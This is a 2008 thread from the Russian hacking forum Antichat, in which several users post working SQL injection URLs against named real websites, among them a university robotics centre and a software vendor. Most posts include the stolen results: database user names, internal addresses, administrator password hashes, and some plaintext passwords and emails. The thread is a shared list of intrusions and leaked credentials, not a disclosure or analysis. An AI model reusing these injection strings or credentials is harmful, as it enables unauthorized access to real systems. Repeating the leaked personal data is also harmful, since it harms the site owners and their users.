ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #5331  
Старый 19.04.2008, 17:24
Аватар для Momiji
Momiji
Постоянный
Регистрация: 25.08.2007
Сообщений: 530
Провел на форуме:
3926698

Репутация: 1446


Отправить сообщение для Momiji с помощью ICQ
По умолчанию

lmsports.ru
Код:
http://www.lmsports.ru/forum.html?page=&show=&msgid=-1+union+select+concat_ws(0x3,version(),user(),database())/*
5.0.45-logu81617@10.10.223.245u81617
Код:
http://www.lmsports.ru/forum.html?page=&show=&msgid=-1+union+select+concat_ws(0x3,email,pass)+from+maillist+limit+0,1/*
turtle@liquimoly.ruoBJsHzBk
 
Ответить с цитированием

  #5332  
Старый 19.04.2008, 17:53
Аватар для big_BRAT
big_BRAT
Познающий
Регистрация: 24.12.2006
Сообщений: 90
Провел на форуме:
1292655

Репутация: 168
Отправить сообщение для big_BRAT с помощью ICQ
По умолчанию

http://www.vmprotect.ru
продавцы хорошего протэктора.

Код:
http://www.vmprotect.ru/news.php?id=389+UnIOn+SelEct+1,2,3,concat_ws(0x3a,version(),user(),database()),5/*
5.0.45-community-nt-log:1gb_vmprotect@81.176.226.164:1gb_vmprotect

Код:
http://www.vmprotect.ru/news.php?id=389+UnIOn+SelEct+1,2,3,concat_ws(0x3a,username,user_password),5+from+phpbb_users+limit+1,1/*
Admin:7fbab0f8d4e73b606eb88383e22b72bc

=======================
есть форум phpbb, интересная таблица vmprot_clients
 
Ответить с цитированием

  #5333  
Старый 19.04.2008, 23:59
Аватар для .acme
.acme
Участник форума
Регистрация: 08.11.2007
Сообщений: 102
Провел на форуме:
1266776

Репутация: 93
По умолчанию

kiberpank.ru
Сказка на ночь: Как поимели "киберпанков". Оказалось все банально.

Цитата:
http://kiberpank.ru/forumtopics/-99999+union+select+1,2,3,4,5,concat_ws(0x40,TABLE_ NAME,COLUMN_NAME),7,8,9,10+from+INFORMATION_SCHEMA .COLUMNS--

user: u46687@10.10.223.241
database: u46687_kiberpank
version: 5.0.45-log

Смотрим юзверей:

Цитата:
http://kiberpank.ru/forumtopics/-99999+union+select+1,2,3,4,5,concat_ws(0x3,id,nick ,password,email,icq),7,8,9,10+from+users+limit+1,5 0--
Enjoy.
 
Ответить с цитированием

  #5334  
Старый 20.04.2008, 00:23
Аватар для vp$
vp$
Участник форума
Регистрация: 22.10.2007
Сообщений: 138
Провел на форуме:
2454040

Репутация: 177
Отправить сообщение для vp$ с помощью ICQ
По умолчанию

МГТУ им Н.Э.Баумана
научно-учебный центр "роботехника"
Код:
http://www.robot.bmstu.ru/index.php?c=flud&n=467600000+union+select+1,2,3,concat(name,0x3a,hash,0x3a,status),5+from+peoples/*
Акилин Андрей Алексеевич:5fa63f31b9b7c2a6769abc8c21a93 a09:1 пасс 1119862833
а куда вставлять хз, есть форма входа
_http://www.robot.bmstu.ru/kaf_test/
но тут нужен логин, которого в табле нет((
Код:
17:archive
17:--1:dt
17:--2:text
17:--3:user
17:--4:status
17:--5:coment
18:board
18:--1:data
18:--2:name
18:--3:mail
18:--4:content
18:--5:status
18:--6:hash
19:club
19:--1:content
20:fluders
20:--1:ip
20:--2:host
20:--3:fluder
20:--4:message
21:materials
21:--1:discipline
21:--2:matname
21:--3:prepod
21:--4:link
22:news
22:--1:data
22:--2:title
22:--3:content
23:pages
23:--1:codename
23:--2:description
23:--3:owner
24:peoples
24:--1:data
24:--2:name
24:--3:mail
24:--4:content
24:--5:status
24:--6:hash
25:prepod
25:--1:name
25:--2:description
25:--3:login
25:--4:pass
25:--5:status
26:sessions
26:--1:login
26:--2:type
27:subpage
27:--1:codename
27:--2:content
 
Ответить с цитированием

  #5335  
Старый 20.04.2008, 18:41
Аватар для CaNNabi$
CaNNabi$
Познающий
Регистрация: 21.01.2008
Сообщений: 85
Провел на форуме:
839509

Репутация: 338
Отправить сообщение для CaNNabi$ с помощью ICQ
По умолчанию

http://www.taboschar.net/
Код:
http://www.taboschar.net/AllMyGuests/index.php?AMG_open=comments&AMG_id=null+UNION+SELECT+1,2,3,concat_ws(0x203a20,user_name,user_password,user_email),5,6,7+from+allmyphp_user+where+user_id=1--
Admin:3d89b9b8a6d81b112d4dc41d11ee5375:info@tabosc har.net
 
Ответить с цитированием

  #5336  
Старый 20.04.2008, 23:19
Аватар для beerhack
beerhack
Участник форума
Регистрация: 01.03.2008
Сообщений: 149
Провел на форуме:
3395070

Репутация: 173
По умолчанию

http://www.thefump.com/lyrics.php?id=-99999+union+select+1,2,3,4,id,6,7,8,9,10,concat_ws (0x3a,username,password,email),12,13+from+users/*

USER: root@localhost
VERSION: 5.0.27-standard
DATABASE: thefump_com_-_fump

всё как на ладоне)

Последний раз редактировалось beerhack; 06.07.2009 в 23:53..
 
Ответить с цитированием

  #5337  
Старый 21.04.2008, 01:09
Аватар для Xszz
Xszz
Участник форума
Регистрация: 23.04.2007
Сообщений: 233
Провел на форуме:
671223

Репутация: 91
Отправить сообщение для Xszz с помощью ICQ
По умолчанию

http://www.utinam.fr/english/boutique/index.php?FAM_ID=2&RUB_ID=-6+UNION+SELECT+1,2,concat(user,char(58),password), 4,5,6,7,8+FROM+mysql.user/*

root:admin
 
Ответить с цитированием

  #5338  
Старый 21.04.2008, 13:33
Аватар для Tyc00n
Tyc00n
Познающий
Регистрация: 13.01.2007
Сообщений: 96
Провел на форуме:
575156

Репутация: 50
По умолчанию

http://l2world.uz/dp/m-search.php?itemname=&monsterid=25009'
Гляньте ,может можно раскрутить ?
 
Ответить с цитированием

  #5339  
Старый 21.04.2008, 15:48
Аватар для Спайдер
Спайдер
Banned
Регистрация: 18.04.2008
Сообщений: 8
Провел на форуме:
65191

Репутация: 48
По умолчанию

http://ataman-kpc.ru/?art_id=-8+union+select+1,2,version(),4,5,6,7,8
 
Ответить с цитированием

Доводи до конца ...
  #5340  
Старый 21.04.2008, 16:03
Аватар для 159932
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию Доводи до конца ...

Цитата:
Сообщение от Спайдер  
http://ataman-kpc.ru/?art_id=-8+union+select+1,2,version(),4,5,6,7,8
------------------------------------------------------------------------------------------
Цитата:
http://ataman-kpc.ru/?art_id=-8+union+select+1,2,3,concat_ws(0x3a,id,name,usr,pw d),5,6,7,8+from+adm_users
ataman:225ata90man_16
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ